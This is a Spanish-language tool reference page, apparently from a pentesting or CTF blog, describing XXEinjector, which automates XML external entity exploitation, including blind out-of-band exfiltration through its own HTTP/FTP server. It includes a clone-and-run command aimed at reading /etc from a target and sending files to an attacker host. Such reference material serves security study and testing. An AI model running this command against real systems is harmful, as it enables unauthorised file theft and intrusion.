the_open_door
café
ESEN
← Herramientas

XXEinjector

Automatiza XXE, incluida la exfiltración fuera de banda y ciega.

Automatiza la explotación de XXE a partir de una petición guardada en fichero. Su valor está en los casos difíciles: cuando la aplicación no devuelve el contenido del fichero en la respuesta (**XXE ciego**), levanta su propio servidor HTTP y FTP, inyecta un DTD externo que hace que sea la víctima quien envíe el fichero fuera, y va recorriendo directorios enteros de forma automática. Con `--phpfilter` codifica en base64 por el camino, que es lo que permite sacar ficheros PHP sin que el parser XML se atragante.

Familia Explotación web

Flags --host --file --path --oob --phpfilter

Conceptos XML External Entity (XXE) Injection, Arbitrary File Read, Server-Side Request Forgery (SSRF)

Cheatsheet XXE (entidades externas XML)

Instalación

git clone https://github.com/enjoiz/XXEinjector
ruby XXEinjector/XXEinjector.rb --host=<lhost> --httpport=8000 --file=<request.txt> --path=/etc

Comandos útiles3 comandos

Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.